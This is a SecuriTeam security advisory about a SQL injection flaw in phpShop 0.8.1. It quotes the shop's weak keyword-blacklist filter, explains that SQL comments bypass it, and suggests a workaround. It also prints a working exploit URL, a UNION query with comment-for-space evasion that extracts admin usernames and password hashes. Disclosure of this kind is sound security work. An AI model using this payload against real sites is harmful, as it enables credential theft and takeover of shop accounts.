[UNIX] phpShop product_id SQL injection



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



phpShop product_id SQL injection
------------------------------------------------------------------------


SUMMARY

<http://www.phpshop.org/> phpShop is "a PHP-powered shopping cart
application". A vulnerability in the way phpShop attempts to prevent SQL
injections can be bypassed allowing remote attackers to cause the product
to execute arbitrary SQL statements.

DETAILS

Vulnerable Systems:
* phpShop version 0.8.1

Vulnerable code:
In index.php near lines 98 - 128
// basic SQL inject detection
$my_insecure_array = array('keyword' => $_REQUEST['keyword'],
'category_id' => $_REQUEST['category_id'],
'product_id' => $_REQUEST['product_id'],
'user_id' => $_REQUEST['user_id'],
'user_info_id' => $_REQUEST['user_info_id'],
'page' => $_REQUEST['page'],
'func' => $_REQUEST['func']);

while(list($key,$value)=each($my_insecure_array)) {
if (stristr($value,'FROM ') ||
stristr($value,'UPDATE ') ||
stristr($value,'WHERE ') ||
stristr($value,'ALTER ') ||
stristr($value,'SELECT ') ||
stristr($value,'SHUTDOWN ') ||
stristr($value,'CREATE ') ||
stristr($value,'DROP ') ||
stristr($value,'DELETE FROM') ||
stristr($value,'script') ||
stristr($value,'<>') ||
stristr($value,'=') ||
stristr($value,'SET '))
die('Please provide a permitted value for '.$key);
}

The script check if $my_insecure_array contain 'SELECT ','UPDATE ' ...etc,
therefore WORD+space, and this can be easily bypassed using comments like:
select/**/input1,input2...

Exploit:
Example to inject admin username and md5 hash password:
http://website/phpshop/?page=shop/flypage&product_id=-3' UNION
select/**/null,null,null,null,
null,password,null,null,null,null,null,null,null,
null,null,null,null,null,null,null,null,null,null,
username/**/from/**/auth_user_md5/*

Workaround:
Simply remove spaces in stristr() function or activate magic_quotes_gpc in
php.ini


ADDITIONAL INFORMATION

The information has been provided by <mailto:theredc0ders@xxxxxxxxx>
theredc0ders.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] PHPNuke Multiple Vulnerabilities in Search Module
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... cross-site scripting and SQL injections located throughout the ... The vulnerability exists in the ... The first SQL injection vulnerability is a non-critical one in the ...
    (Securiteam)
  • [UNIX] Beehive Forum Software SQL Injection Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Beehive Forum Software SQL Injection Vulnerability ...
    (Securiteam)
  • [UNIX] Multiple Vulnerabilities in NukeBookmarks (Full path disclosure, Cross Site Scripting, SQL I
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Cross Site Scripting and SQL Injection ... Full Path Disclosure Vulnerability: ...
    (Securiteam)
  • [UNIX] Protector System Multiple Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several classes of vulnerabilities have been found in Protector. ... cross-site scripting and SQL injection attacks. ...
    (Securiteam)
  • [UNIX] osCommerce SQL Injection Vulnerability (create_account_process.php)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... vulnerability in the product allows remote attackers to gain elevated ... * osCommerce version 2.2-MS1, possibly older versions. ... osCommerce is vulnerable to SQL Injection vulnerability in the ...
    (Securiteam)